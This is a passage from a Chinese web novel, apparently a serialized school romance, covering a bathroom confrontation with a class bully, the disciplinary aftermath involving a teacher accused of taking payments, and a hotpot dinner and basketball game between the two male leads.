细碎的发尾和卷长的睫毛遮着他的眉眼,明暗之中楚明似乎抬了下眼,黑亮的瞳孔流出些许疑惑。 江淮愣神片刻后,清了清嗓子,回应道:“晚安。”- 江淮从正门口走出学校,在灯火流烁里找到自家车牌号。 拉开后门坐了上去。 “儿啊,你不出声给我吓一跳,”吴珊坐在副驾往后看了一眼:“我还以为哪个贼这么光明正大蹭我车呢。” 江淮:“……” 他选择沉默,感受到车子启动之后把书包扔到旁边,捞起抱枕便脑袋偏靠向窗。 晚自习后的校外街道一片繁盛。 小吃推车就跟蟑螂生子似的层层叠叠,开到街道尽头都在向外繁殖。 “儿,你要不要吃鸡腿?”吴珊扭头问。 江淮透过窗看着外面的几两小推车:“不吃。” “老娘要吃!”吴珊降下车窗,等司机停稳后朝外面招了招手:“老板,给我俩香辣鸡腿儿!” 江淮闻着瞬间冲进车内的孜然辣椒味,沉默着把后排车窗也降到底。 司机把空调关了,也跟着降下剩余车窗。 暖烘烘轻融融的晚风吹进来,拥抱皮肤,江淮舒服得眯了眯眼。 手指探出去分毫正要玩会儿风,就瞥见从路口拐过来的自行车,他扒着车窗向后看去。 “儿,你几岁了还把脑袋伸到窗户外面去!”吴珊把香辣味的空气吹到后排,“你小心点等会被什么刮走脑袋!” 江淮:“……傻逼。” 吴珊:“大傻逼!” 江淮早已习惯这种毫无信息含量和意义的交流方式,看了眼司机:“叔,开慢一点。” “哦,好!”司机应道。 幸好学校路段本就拥挤,不需要考虑时速太低被后面车辆喇叭刑伺候。 “怎么了吗?”吴珊咬完鸡腿肉才问:“你不是不晕车吗?” 江淮淡淡应了一声:“现在晕。” “那你眯一会儿就好了,”吴珊说:“睡着了就没感觉了。等再过两年你到年纪学会开车,自然而然就不会晕车了。” 江淮听得头晕:“……嗯。” 他目光锁在非机动车道上的自行车,车上楚明挂着单只耳机、单手扶着车把。 晚夜城里最亮眼的便是各式各样的灯光,路灯、车灯、楼栋间窗户泄出来的灯光,层层错错地交织掩映。 混着映在笔直宽阔的道路上,行人匆匆被包裹在亮色里。 楚明也不例外。 冷白的皮肤添染上异色的光斑明灭,他神情无多地目视前方,高挺的鼻梁侧映出小片阴影。 江淮看得有些愣,直到车辆猛地一个急刹! 他没什么防备地被惯性带去,脑袋险些磕到前面的窗框。 “什么傻逼东西会不会开车!”吴珊的鸡腿从大开的窗户上被甩了出去,她气愤地吼道:“交通规则都不懂上什么道,我*他****……” 司机瑟瑟发抖:我还没骂呢,这…… “怎么了?”江淮拧眉看了眼前面。 司机说:“刚有个学生骑电动车从车前面横穿过去,幸好我开得慢,不然得撞上。” 江淮坐回去。 还想看一眼楚明,就见刚还匀速在车屁股后的自行车已经消失了。 “啧,”江淮坐正,手指敲点在窗框上,“叔,开快点吧。” 司机叔叔:“……” 亲爱的这时候不应该保持慢速前进吗? 这是后悔刚才没撞上才发出的指令吗? 但他还是选择提速,扬长而去。 吴珊在三段路这带租了一套房。 简单交代两句后就先走了。 江淮洗漱完走到阳台外把一些习惯用到的康复器械收整一番,随机播放音乐后做了一个小时比较系统的运动才停。 有些运动过量,但不重要。 他趁着疼的劲儿连刷了十几页题,倒回床上。 磨蹭了有个把小时才睡着- 楚明从“城屿·城”出来时往对街店里看了一眼,只见套着围裙擦拭桌子准备收店的老板孤零零地站在灯下。 他没来由地觉得有点空荡,像是少了什么。 踩着车往回走的路上,他想吃点什么垫垫肚子,又觉得没有食欲。 回到家洗完澡收拾好坐在书桌前,他把英语听力调到二倍速,公放了个十来秒他才后知后觉地连到耳机里。 啧。 楚明勾好选项后在旁边潦草勾笔:傻逼- 楚明今天又迟到了。 江淮看着分针像吃了兴奋剂似的疯狂走着,后门进进出出间却依旧没有他的影子。 “站起来早读!”刘明宇推着眼镜走向讲台,指了指黑板上的早自习任务。 江淮正要站起来,就见陈炜大踏步向他走来,一掌拍在他桌上,颇有架势地说:“今天轮到你和楚明拖公区,快点。” “……哦。”江淮用笔杆挑开他捻着试卷的手。 陈炜尴尬地收回手,但转念想到什么他又觉得精神饱满,“我带你熟悉一下公区。” 江淮不动声色地挑了下眉。 扫把这些基础物件是班级私人所有,但拖把不是。 每层楼厕所外的大通道处,分出过一长条凹槽来放置公用拖把——二十多把,不过现在只稀稀拉拉留下三把。 一把直接断成两半、一把毛发稀疏。 江淮勉为其难地捞起边缘处脏兮兮但还整体完整的那根。 “先去厕所洗拖把,洗完去拖就行。”陈炜给他指完厕所方向,转身就往班级教室走。 丝毫没有逗留。 江淮两指提着拖把进到男厕,在洗手台后被屏风墙遮住的那块矮池里放水,把拖把扔进去。 一注注水砸向拖把,把里头黑脏的污渍挤压清排而出。 江淮隐隐感觉身后有人贴近,装作不在意似的往前拧水龙头。 拧至出水最大,狂热的水流被拖把凹凸不平的毛发冲得四处起飞——江淮早撤身闪开。 “啊!”一声尖叫。 江淮:“……” 他倚靠着里间的厕所门向这人望去,罕见地愣了下。 无眉姐。 男厕…… “你有毛病吧?”无眉姐抹了把脸,往后退到屏风墙靠着,跺了一脚指着还在持续发力的水龙头:“快关了!” 江淮:“……” 他探出上半身,把水龙头拧回去,只余下少许水流,浇灌并滋养着拖把的毛发。 见他还挺听话,无眉姐笑了笑,嘴里吐出个粉红色泡泡,又张嘴吃回去,说:“知道我为什么找你吗?” “关我屁事。”江淮转身拉开一间厕所就站起去,合门。 无眉姐看着空气:“……” 她愤而嚼口香糖,低吼:“刚才有人在厕所抽烟,你不出来教导主任来了你就要因为抽烟被记过。” 江淮脱了裤子撒尿。 “或者你答应我个条件我就不告发你。”无眉姐在尿尿声里独自美丽地说道。 江淮问了声:“什么条件?” “不准闹事,不准跟任何一科老师对着干。”无眉姐霸气吩咐道。 江淮拧眉:“我从来不闹事,只就事论事。” 无眉姐:“……” 她被这话呛到,还想说什么就听木板被叩了两声。 江淮冷声说:“出去。” “哟呵,怕了?”无眉姐像是来了兴致,走到他才进去的门面前,伸手拍了拍:“你叫我一声天姐,我就放过你啊。” 江淮有些不耐烦了:“姐你妈姐,滚出去。” 无眉姐轻顿,正色:“你知道为什么班上所有的男生都怕我吗?就是因为我敢做你们男人都不敢做的事,不然你以为天姐就是随口叫出来的吗?” 江淮没说话。 原来是班上的女霸王。 “我文能考全班第一,武能打败所有男生。”无眉姐说:“你现在来打破班级秩序就是跟我作对。” 江淮倒是鲜少遇见这种人,冲完厕所拉开门。 正要说些什么,无眉姐抬脚就朝他命根子踢来。 他往旁边侧去,堪堪躲过这致命一击。 江淮冷声:“别太过分。” “这就过分了?”无眉姐笑着又要踢第二脚,大概是仗着一般男生都不会冒着打女生和恃强凌弱的风险作出反击。 江淮再次躲开,下一秒无眉姐就进到隔间里- “厕所坏了,去那边吧。”陈炜站在厕所外,脚边摆着一块施工标记的三角。 楚明轻顿:“嗯。” 他提着拖把往另外一边走时,隐约间听到厕所里不太鲜明的水声。 “今天拖地怎么这么晚?”大马猴站在公区平台上背手而立:“早读开始十多分钟了,一耽误就是半节课,快点拖!” 楚明点了点头:“好的老师。” 三下五除二把楼梯间没扫干净的垃圾卷到拖把里,楚明呲地推走拖把。 路过二十一班后门时他不经意往里瞥了眼。 大马猴和他有同样的疑惑:“空位置的那几个呢?” 刘明宇代为解答:“在卫老师那背书。” “哦,”大马猴收敛着不悦说:“下次背书不要一群人去,实在人多让你们卫老师早点到班,别一窝蜂都出去。” 刘明宇推了推眼镜:“我下课就跟语文课代表说。” 楚明将拖把卷到对面厕所清洗完毕。 放置好他往21班教室走。 “蜀道之难,难于上青天,使人听此凋朱颜!”经过班级在高声朗诵。 楚明站在班级走廊停了下来,犹豫半晌后他折转方向。 “其险也如此,嗟尔远道之人胡为乎来哉!”越过班级的朗诵尾声如是。 他走到“施工”厕所门口。 陈炜不在。 楚明徐徐呼出一口气,抬腿正要往里走,就听“嘭!”地一声—— 施工三角被踹飞出来,砸着墙碎成四片。 紧接着,厕所里陈炜蜷成一坨从里滚出来,手往下虚虚地护着什么,脸色狰狞。 而厕所里间传出极为痛苦的干呕声。 楚明拧了下眉,要冲进去时,抬眼只见江淮眉目冷冽地走出来,他转着手腕,低眸蹲在陈炜面前,声音冷得人牙酸:“爽吗?”—— 作者有话说:放心,这次的风波会很快过去的,嗖嗖的[吃瓜]《 》 40-50 第41章 第 41 章 不至于,我关心的不是她…… “同学你最好给我一个合理的解释。” 教导主任连同大马猴紧急奔赴厕所, 把跪在厕所里呕吐口水的无眉姐和蜷在厕所外翻滚的陈炜一并搀扶到办公室。 空调冷气强而有力地清扫着狭小的办公室。 江淮站在墙边,身旁是楚明。 江淮浑身笼罩着一股低气压,他冷声:“没有解释。” “你给我好好说话!”大马猴坐在办公室面前, 把干毛巾递给湿发的魏天, 见她不住地坐在椅子里捂腹作干呕状,他心疼地拍着她的背:“你到底对小天做了什么?” 楚明也偏过眼眸看着江淮。 江淮不为所动:“您先问她愿不愿意说。” 大马猴气得心脏都鼓出两倍大成为新型人类奇迹了,他见魏天不住地在摇头,又蹲步到地上跪趴着的陈炜面前, 说:“你怎么了?还好吗?” 陈炜使劲摇头, 脸憋成了猪肝色。 “调监控,”旁边教导主任看不下去了,狠狠剜了一眼江淮, 打电话给监控室的人。 大马猴叹息不止,走到楚明身边:“你知不知道发生了什么?” 楚明摇了摇头:“不知道。” 江淮余光留意着楚明。 “那你怎么会在厕所!”大马猴指着他:“你要是敢撒谎,背上书包就给我滚出学校!” 楚明轻顿, 垂下眼极轻地靠在墙上, 没有再说话。 监控室紧急调取画面。 魏天挣扎两下被大马猴误以为她在害怕,连忙把她拉到旁边跟江淮隔出对角线的最远距离。 教导主任看着监控画面。 眼睁睁看着早上六点半的时间节点,一女生和男生拖着块三角施工标志到男厕门口。 两人一同进去待了十多分钟, 男生出去了, 女生却直到江淮进入都没有出来的痕迹。 他不禁:“……啊?” 江淮冷眼看了会儿教导主任的电脑屏, 无聊地往楚明的方向站了些许。 手臂贴紧手臂时, 他曲指从后面极轻地勾了下楚明的手心。 楚明轻颤, 偏头看了他一眼。 江淮不语,只是有一搭没一搭地挠着他手心,感受着楚明时不时蜷起手心却又无可奈何地松开些许任他勾玩。 “这是怎么回事?”教导主任把大马猴拉过去指着画面责问。 大马猴:“……” 他扭头看向魏天,问:“你怎么会去男厕所?” “我……”魏天磕巴了一下, 指着江淮说:“他让我去的。” “神经,”江淮抬眼看她:“喝那么多水还没给你嘴洗干净吗?” 魏天双眼立马瞪圆了:“你闭嘴!” 江淮懒得在这多逗留,直接说:“我做的事不多,躲了她三次,第三次她脚滑摔进厕所,刘海和下巴沾到坑里的水,去池里洗了十多分钟;体委有意思,英雄救美没成功,被美人误当成我踢了裆,半身不遂地滚了出去。” 楚明偏眸看着江淮的侧脸。 以及他眼神里流出的那股天不怕地不怕的劲儿。 有些出神。 “这是我的一面之词,”江淮扯了下唇,说:“如果相信,我还是要两封检讨;如果不信,烦请报警吧。” 他说完反手拉住楚明的手腕就走出了办公室。 只留下被懵逼击中眉心的一众人。 半晌后教导主任率先回过神来。 他看向大马猴,吼道:“看你带出来的学生!没一个让人省心的!” 大马猴惭愧地低下头,忍着怒火把魏天和陈炜领回办公室,重新听他们讲述事情经过起因- “你怎么也在?”江淮拽着他往外走,没回班。 楚明轻顿:“恰巧路过。” 江淮眯了下眼:“……嗯。” 第一节课正开始没两分钟,路过的班级里科任老师独扛大旗。 “八中原来是这样的八中。”江淮倚在走廊栏杆里,望着楼下粗简的风光轻声说。 楚明好奇地看向他:“怎样?” “给它一撇一捺都凑不成‘人’的地方。”江淮垂眼说。 楚明:“……” “所以,”江淮转过身背靠栏杆,掀起眼皮掠过楚明的侧脸:“我挺好奇你为什么来八中?” 楚明说:“可能是……为钱?” 江淮没反应过来:“啊?” “初升高的寒假,八中举行冬令营,凡是参加都能领50块的红包,”楚明嘴唇微不可察地勾了一下,“我去了才知道考完试才能领,后来考得还行就提前签了学校。” 江淮看向他:“之后呢?” 楚明轻顿:“也没什么……正常高中生活吧。” “嗯,”江淮指尖极轻地捻了下,抬手勾过他脖子往自己身边带,压着声音问:“如果今天是你,你会怎么做?” 楚明:“……” 他不想回答。 江淮似乎猜到他不会回答,等了一会儿说道:“受害者也可以强劲有力,不需要摇尾乞怜。” 楚明轻轻应了一声:“……嗯。” “回去吧,”江淮松开手:“我看到学生会的了。” 楚明:“……” 他没忍住调侃一句:“你还怕扣分?” “不怕,”江淮挑了下眉:“但我还欠21班几分,先偿清吧。”- 陈炜和魏天自从早自习消失之后就一直没再回班。 “听说是打架斗殴。” “那江淮怎么回来了?不是吧,天姐被反将一军了?” “我路过厕所看到有两个家长在办公室,又是吼又是哭的,好瓜!” “这次我站江淮这边,魏天踩我裆的事我至今忘不了,太噩梦了。” “嗯……她力气是大,但我说实话,如果不是让着她,她还真不一定能打过我。她还当真以为自己打遍天下无敌手吗?” “呵,你们男的真恶心……” “哦那闯男厕所还踹男生命根子的女生就是仙女下凡喽!” “当初你们围在天姐身边,打不还手骂不还口也没见硬气啊……” “这不是21班来了江淮嘛,我这次真站江淮站到底了!” “呵呵,犯规撞人男还有人站,眼睛瞎了自己戳爆算了吧。” 时间在慢慢向前流逝。 21班在浓厚的交流氛围里走向双方对峙。 卫疏走进教室时以为自己走错班级了,出去又进来,懵然问道:“班主任请你们班喝红牛了吗?这么亢奋!” 但班级已经乱成一锅粥。 双方代表在忘我地发表各自观点。 “江淮算什么东西?” “反正比你们随便踹男生□□的天姐好!至少江淮不会随便摸女生胸!” 江淮:“…………” 他眼神逐渐空洞,沉沉地叹气。 卫疏“诶!”了一声,戒尺敲停两人的亢奋状态:“干什么呢干什么呢!” 双方代表哼哧哼哧地呼出热气,英勇就义似的一屁股往座椅上砸去,发出惊天动地的声响。 卫疏:“……” 她确定上课铃已经打响四五分钟了,尽量温和道:“我要上课的呀,同学们。” 教室渐渐安静下来。 卫疏心下一松,“你们现在这种状态被拐进传销组织都是金牌传销员,情绪怎么就这么足呢?” 班上同学默默地看着她。 “静静啊静静,静不下来出门右转两步在成绩单上找到自己的名字,一看就心如止水了。” 卫疏收回戒尺,边插u盘边说:“你们心里的小九九呢我都清楚,但是有两点你们要先弄明白。第一,这事情是真是假是虚是实;第二,这事情跟你有关无关。” 她转过身来扫了扫众人,叹息:“别鼓吹什么有事我真上,没事我也看看热闹。真那么闲来我办公室背书,周考默写多简单的六分,偏偏有人要扣三四分——是吧?赵西。” 赵西缩了缩脖子。 “你站起来给我们背背《咏怀古迹》。”卫疏说。 赵西:“……” 他慢腾腾地站起来,好半天都没反应过来第一句是什么。 “哟,赵西有事了,”卫疏扭头看向其他组的同学,“张舒雪,我看你有事挺爱上的,来背。” 张舒雪咽下口水以舒缓吼劈叉了的嗓子,艰难背诵道:“呃,群山万壑赴荆门……” 语文课渐渐步入正轨。 江淮转了圈笔,有些意外地挑了下眉。 他等短暂的背书环节过去,跟着卫疏的指令翻开书。 “最后一个课时,争取这节课上完吧,”卫疏说:“来找个人给我读一下最后一个自然段……” 草稿本被推到两桌中间。 楚明抬眼看去。 悲剧故事还有一课时结束,爽。 ——江淮。 楚明:“……” 他回道:至于这么讨厌祥林嫂吗? 不至于,我关心的不是她。 ——江淮。 楚明没有再写什么回复。 垂眼极细地看着书页上饱满的最后一自然段,只觉着朦胧里似乎闪着些层叠交织的黑点子们。 喉管微微发涩,他很重地咽了一下。 手指勾动笔杆,由笨重到轻快,逐渐熟练地转动起来- 江淮被叫到办公室。 “我女儿那是为了你,你以为一个班有那么好管吗?”魏天她妈在办公室里大声说:“她为你们班级秩序劳心费力,转头得不到一句认可不说,还让她道歉,凭什么啊?” 大马猴微懵:“什么为了我?” “你班上那些不听话的硬茬不都是小天去给碾平的,”魏天他妈说:“像你们班那个刺头,老早之前了,叫什么楚什么,不都是被我女儿管乖的!你个班主任倒是落得清闲,要没有我女儿你们21班成绩成绩拿不出手,纪律纪律拿不出手,哪有今天的成就。” 大马猴:“……” 听着她的话,旁边江淮拧了下眉。 办公室还坐着其他班班主任。 听到这些话,藏在镜片后、教案后、电脑屏后的眼睛们微微抬高,往这边看来。 大马猴臊得面红耳赤:“家长你这话就不对了,我又没让魏天帮我做什么,而且就算帮忙那也不是用这些手段啊。” “小天你好好看看你们班主任的嘴脸,”魏天她妈指着大马猴大声吼道:“你在帮他他反过来咬你一口,老娘这两年回回四五六千地给他转,他就是这个态度!” 大马猴脸色瞬间煞白。 江淮拖过旁边的椅子坐在空调出风口,饶有兴味地欣赏这出戏。 “那都是学校收费,我哪有私下收你那么多钱……”大马猴说话有些乱了节奏。 魏天他妈冷笑一声,指过办公室其他老师:“老娘年纪比你大,见过的事比你吃过的饭都多。哪个家长没私下给你转钱,我们家长群建得一个接一个的,哪个家长转多少谁都清楚……不转钱就针对孩子,你以为我们这些家长都不知道?” 大马猴站得有些柔弱无骨。 江淮则挑了下眉。 “小天,”魏天她妈拉过魏天:“这书我们不读了,离开八中,一中三中五中任我们选,谁稀罕跟他这个无底洞耗着!敢欺负我们娘俩,想得美!” 魏天被拉得一个趔趄,扭头看了看坐在角落里的陈炜,好半会儿才移开视线。 跟着她妈走出办公室。 “嘶……” 不知道哪个班主任不小心漏了气。 江淮问:“老师叫我来做什么?” 大马猴气得话都说不出来,栽坐到老板椅里晃了好半天才伸出严监生指:“你和陈炜都先回班上上课,这件事就到此为止了……” “那不行,”江淮当即拒绝:“我才是当事人。” 大马猴瞪着他:“你……” 江淮勾了下唇:“对,是我,江淮。” “陈炜,给他道歉。”大马猴现在很脆弱,碎碎平安都哄不好的那种,“十分钟之内写完检讨念给他听。” 陈炜:“……” 江淮牵出抹毫无温度的笑容。 十分钟后陈炜在办公室公开念检讨,始终以气态存在的无形班主任们在障碍物的阻挡之下欢娱地跳了跳眉毛。 好似冥冥中在这一刻达成了和江淮的共识: 听别人念检讨,真挺有意思的- 事情发生得越炸裂,结束得就越迅速。 第三列第二排的空位反倒成了最为持久的存在。 “真转学了。”赵逵逵带着情报回归:“说魏天进一中尖子班了。” 江淮没什么兴趣,连头都懒得点一下。 “不过我听说魏天她妈很勇,去教育局把老马和八中都举报了,可惜还是被校领导压下去了……这段时间老马不到班,都是卫老师代当班主任,隔壁数学老师代课呢。” 江淮啧了一声:“恶人自有恶人磨。” “哦,还有,”赵逵逵声音小了些:“我新刷到你好多贴子,啧啧啧,给你夸得天上有地上无的,风评扭转啊哥们。” 江淮冷着声音:“是吗?” “是啊。”赵逵逵说:“给我羡慕的!以后哥们我的幸福都要被你至少抢走一半喽!” 江淮:“……” 旁边楚明若有若无地笑了一声。 江淮偏头看过去,伸手挑了下他下颌:“你笑什么?” 楚明:“……” 他笔尾敲在江淮手上,斥道:“手拿开。”—— 作者有话说:再过几章这些有的没的的事儿就应该都解决完了[可怜] 第42章 第 42 章 “给你靠一下。”…… 周六周考, 语文文综还好。 最后一堂数学,江淮真的是看题都看笑了。 他妈的在他完整学习范围内的知识点一只手都能掰得清楚。 早在考试结束前一个小时,江淮就撂下笔开始实施楚明心法——“不会, 不如猜来得快。” “考试结束——” 叮铃叮铃声里, 考生们怨声载道地走出教室,顶着一张张猴子屁股冲出来狂吸新鲜空气,并嗷嗷乱叫。 后半堂考试,江淮把脸扔在试卷上睡得相当舒坦, 听到铃声, “起床”,到走廊抱书回教室。 “你……”楚明比他熟练,收拾完坐到座位上时看了眼江淮。 江淮还有一趟才搬完书:“有屁一次性放完。” 楚明:“……” 他轻顿:“脸上有印子。” 江淮表情僵住, 保持冷酷地问道:“哪里?” 楚明没说话,只是在一阵闹哄哄的动静里别过头笑了两声。 江淮脸一沉,一步跨到他旁边捂住他嘴:“你不许笑。” 江淮才洗过手不久, 手心泛着薄薄一层凉意。 楚明鼻尖贴着他虎口, 能嗅到一丝很好闻的气息,他张嘴说道:“没笑了,你撒手。” 楚明说话时带出的热气扑落在皮肤上, 就跟棉花窝在手心里打滚似的, 很痒。 江淮迅速撤手, 不太自然地回应:“……哦。” 然后快步走出教室去搬那最后一趟书。 “假期愉快!”卫疏站到讲台上, 说:“没背完书的记得留下找我背完再走, 听到没有啊?” “哦……”有气无力。 “其余人可以撤了,”卫疏笑了笑:“记得下周来上课!” 楚明收拾好书包。 “今晚有约吗?”江淮忽然开口问道。 楚明如实回答:“没。” 江淮单肩背上包,抬了抬下巴:“那跟我走。” 楚明愣了:“……啊?” 江淮认真地说:“我住你家那么久,让你住回来。” 楚明犹豫两秒后摇了下头:“不用。” “再说吧, ”江淮走近一步:“今晚先请你吃饭。” 楚明答应了:“行。” “介意还有几只麻雀叫吗?”江淮跟他一前一后走出教室,走到一楼就开始并肩。 “麻雀?”楚明觉得这种吃饭伴侣还挺小众。 “就是比较闹的几个人,”江淮说:“你要不习惯我就给他们轰走。” 楚明:“……” 又来乱轰人了,江大炮。 他善解人意地说:“不介意。” 楚明答应得比江淮想象中要爽快。 以至于到饭店时,严越惊讶地说:“哥们你居然有提前到的一天。” 江淮:“……”他只是喜欢卡点,说得像他经常迟到。 “你好,我叫严越,”严越朝楚明伸出手。 楚明回握:“你好,楚明。” 其余三只麻雀已经围坐在饭桌,在鸳鸯锅的热气里探头探脑地往楚明这边看。 服务员开始上菜,坐在外围的两只麻雀辛勤地下菜煮。 热气腾腾里楚明安静吃着菜,听麻雀们叽叽喳喳着麻雀历险记,意外地还挺放松。 他烫着毛肚,数着秒数要捞起来时,一只麻雀喊道:“老了老了!快捞起来!” 楚明给他这一嗓子喊得毛肚都掉锅里了。 “谢谢提醒。”楚明温和地回应。 麻雀看着他空无一物的筷子,不好意思地红了脸:“啊抱歉抱歉,我嗓门太大是不是吓到你了?” “没。”楚明心道还不敌喇叭哥一半功力。 红脸麻雀陷入了沉思。 他小声地跟旁边的黑皮麻雀说:“江哥居然有脾气这么好的朋友,稀罕呐。” 黑皮麻雀也跟着陷入沉思,光明正大打量了好几眼楚明。 得出结论:“稀罕呐。” 这顿饭上聊得大抵都是最近严越带队打下的江山。 “就跟出征似的,所向披靡。”黑皮麻雀评价道。 “岂止,爱情事业全面开花,”红脸麻雀说:“附中有个哥们长得贼俊,说是校草级别的——给我们严哥碰着了。” 江淮挑了下眉:“到哪步了?” “夭折了。”严越苦笑着说:“人比铁杆山药还直,老子就跟他两天不见他就谈女朋友了,给我弄得。” “啧。”江淮捏着啤酒罐抿了一口。 “啧,”严越跟着说,“那是不如江哥好福气。” 江淮险些让半口酒给呛着,“你他妈别当人面乱扯。” “知道知道!”严越笑了笑:“我有分寸!” 楚明不明所以地听着他们这对加密对话,先是有些意外地看了眼严越,而后安静地捞那块已经老成鞋垫的毛肚。 塞进嘴里按摩牙齿。 “哦对了,”严越说:“附近有块场子,要玩玩吗?” “别吧,”黑皮麻雀说:“才吃完去打球不得打得胃下垂啊。” 红脸麻雀睿智发言:“等走到场子你都饿了。” 结账,出店,上街道。 江淮舒舒坦坦地伸了个懒腰,手熟练地勾上楚明的肩头,轻声问:“跟我打一场呗。” 路边广场舞音乐热烈奔放,楚明没听清,朝他凑近些许:“什么?” “跟我打场篮球,认真打。”江淮跟他咬耳朵。 楚明默了两声,回应:“……好。” 经典3v3,江淮楚明和红脸麻雀是一组。 “他会吗?”严越在旁边做准备时小声问了句:“还是说让着点?” “不用让。”江淮活动了下手腕,俯身试探了下自己左膝的承受度,说:“放开打。” “哟,”严越挑了下眉:“挺厉害?” “嗯。”江淮直起身,看着正和另几只麻雀说笑着的楚明,轻声:“就是不知道他放不放得开。” “你腿行吗?”楚明见江淮俯着腰,走过来小声地问了句。 “一般,”江淮说:“护着我。” 楚明轻顿:“好。” 球场比较新,场外布置着诸多公园器械,隔着条街大妈大爷们在跳广场舞。 “伴奏都有了,”严越捞来篮球,熟悉手感似的投了个三分,运球回来时说:“来,开始!” 严越笑了笑,快速运球直奔内线,守方红脸麻雀伴着他的脚步几经近身强势防拦,但最后一次起跳拦截失误,严越率先积下一分。 “帅!”黑皮麻雀跳了起来。 江淮没怎么动,余光始终锁在楚明身上。 见他站在场线上双脚几次跃跃欲试但位移为零,视线在奔跑的身影之间,眼里却光色不多,反倒显得黯淡。 严越进球之后红脸麻雀迅速截球往外线抛出,江淮转身接住退后两步瞬间起跳投球——一个利落的三分! “牛逼!”严越嘘了声哨。 江淮浅浅勾了下唇,目光悠过场内落在仍在场线上的楚明,趁着对方持球,他走过去撞了下楚明的肩。 “你要是进不了球,”江淮贴他耳边冷声说:“我他妈揍你。” 楚明:“……” 3v3赛事向来对抗激烈,就连部分国际赛事,场上也狠得跟打架似的。 场子热起来之后对抗便狠得多,接过江淮飞传过来的球,楚明愣了下,像被烫着了似的往回缩了下手。 但开场便没有玩笑一说。 对面两人当即包抄过来,猛地撞开他抢夺球权,球飞出去的那刻楚明被撞得有些懵。 扭头就见对面黑皮麻雀生猛地投进内场球,引得一阵欢呼。 “你在梦什么?”江淮不知道他在发哪门子的呆,想也没想就一掌兜到他后脑勺:“傻逼。” 楚明吃痛地往前俯了下脑袋。 “没什么好怕的,”江淮狠狠地揉了他脑袋一把:“就算你他妈连中十球都没人揍你,听明白了吗?” 楚明有些意外地看了他一眼。 “看屁看,”江淮冷冷地发言:“但要是你没进球,我绝对揍得你连亲妈都不认识。” 楚明眼睫轻颤,应了声:“……嗯。” 等江淮退出些许距离,他很重地呼出一口气,心道: 谢谢你,江淮。 打到中后期基本都有碰球经验,楚明凭着方才一些浅略的观察,听江淮的话,开始有意识地拿球权。 他深呼吸好几次才让绷紧的呼吸频次平稳,抓准时间挤身夺球! 一个干脆的跳身侧转,运球奔出场外——沿途被接连三防撞得生疼,在一众夹防中他找准时机转身投篮。 耳膜中沉重的深喘和激烈的心跳声里,篮球嘭地一声从筐里笔直降落! 楚明难以自抑地在发抖,撑在膝肘上的手,经脉间迸发出强烈轰鸣。 汗气或是热气糊蒙住的视野里,艳阳高照,他滚腕运球上篮扣球!球进的瞬间耳边翻涌着一场盛大的尖叫…… 他五指骤然收紧。 “漂亮!”江淮冲他喊道。 喊着时掰扯着被刺激到左腿走到楚明面前,顺着他的姿势,两根手指挠了挠他下巴:“哎,才进一个球,你抖个屁。” 楚明呼吸粗喘:“……我控制不住。” 江淮愣了下,手绕过他下颌往脖颈后探去,颈动脉在他手心里汹涌澎湃,他摁住楚明后脑勺往自己胸膛按来:“给你靠一下。” “中场休息会儿,”严越坐到地上,捞过从火锅店顺走的可乐一阵猛灌,灌完他瞥了眼那头的两个人,挑了下眉。 好一会儿楚明站直,呼吸稍稍落稳,反应过来刚才的姿势,他不好意思地别开了脸。 江淮撩了撩衣服,把胸口那块凹下去的印子抻平。 “打的好呀!”严越休整差不多,走到楚明面前说:“你放开打,别收着——最后一球帅得要死!” 楚明轻顿:“谢谢。” “客观评价而已,”严越指了指旁边三位扭腰器上的几个人,说:“他们还复盘你刚那一投呢,有江哥进球那味儿了。” 楚明轻轻勾了下唇。 夸完,严越走到旁边去招呼那群麻雀回来继续。 “等会再进一个,”江淮抬脚踹了下楚明屁股。 楚明轻顿,抬手呼啦了下裤子:“嗯。” 刚才那一球减了楚明许多心理负担,他在快步挪步间逐渐冷静和清醒,边缘拦球,谨慎地进了两个三分。 “不错,”江淮呼吸微乱,抓紧时间往他屁股上拍了一巴掌:“继续!” 运动让身心完全被打开,楚明嘴唇轻扬,利索地应道:“好。” 被严越拉开的优势在迅速回补。 楚明板下截球后飞速扫过场上形势,线外江淮被严越和大麻雀严防死守着,他想也没想运球奔向江淮,把球抛掷给他的瞬间跳跑到他身后。 江淮攻破双人防守不及,转身送腕抛球给楚明,再一次转手——江淮成功握住球权,起身投球。 “好配合!”黑皮麻雀气喘吁吁地收回拦球的手。 严越操了一声:“这波是真考验默契,牛逼。” 打完整场累得人仰马翻。 楚明喘着,捞起短袖擦掉下巴处的汗滴。 他调整好呼吸后往江淮的方向看了眼,走过去,声音带着前所未有的舒畅:“你腿还行吗?” “嗯,”江淮呼吸起伏也挺剧烈,坐到篮球场外的单人腹肌板上。 楚明没多言,出去买了几瓶水折返回来。 “你这体力牛逼!”严越从口袋里捞出一瓶水。 楚明浅笑以作回应,给另外几位麻雀分完水他坐到江淮身边,拧开瓶盖递到他手里。 “谢了。”江淮接过。 “我还纳闷江哥怎么会这么快就带人来吃饭,”红脸麻雀一口喝完半瓶水,小声说:“打完就不意外了。” 黑皮麻雀举双手赞成:“八中也是亏,放着这么好的苗子不收进校队比赛。” “还得是江哥慧眼识珠。”红脸麻雀灌水喝。 江淮仰头喝水,水分滋补得差不多他单脚踩到板上,用水瓶屁股敲了下楚明:“前半场怎么回事?” “没……”楚明双手按在水瓶上细细摩挲。 江淮眸光转暗,凑过去低声:“你知道吗?前半场你状态跟他妈那天给傻逼体委捡球一摸一样。” 楚明喉结滚了一下。 “我不知道你之前有什么屁事烂事,”江淮把水瓶扔他怀里:“但你最好走出来,不然我揍你。” 楚明按住他的水瓶:“……” 他默了一会儿,唇角浅浅地溢出笑意,连同心里沉着的那股气也被排了出去。 休整得差不多后麻雀队沿着热闹的街道散步。 江淮方才打得挺浪,这会膝盖隐隐有些痛意,他手心撑在楚明肩上。 他微微凑近些,说道:“忘说了,你刚才打得是挺帅的。” 柔软的发丝擦过耳垂、脸颊,楚明呼吸很明显地停滞了一秒,不太自然地别开眼:“谢谢。”- “哎兄弟,能加个联系方式吗?以后闲了一起约球玩儿。”大麻雀亮着手机问了句。 楚明轻顿:“……行。” 把这几位麻雀和严越一一加过之后,旁边江淮极轻地说了句:“加我。” 楚明把手机亮屏给他:“你输。” 江淮把号码输入并发送好友申请之后,把手机还给他。 在路口处基本就四散开,打车的打车,步行的步行。 楚明垂眸扫了眼江淮的腿,有些担心地问了句:“你打车还是?” 江淮说:“我走回去。” 楚明:“……” 他总是能被江淮某些时刻的身体强度与韧性震撼到,纠结两秒后搀着他往他家的方向走。 给他送进小区门口时楚明有些意外: 这儿离“城屿·城”挺近的- 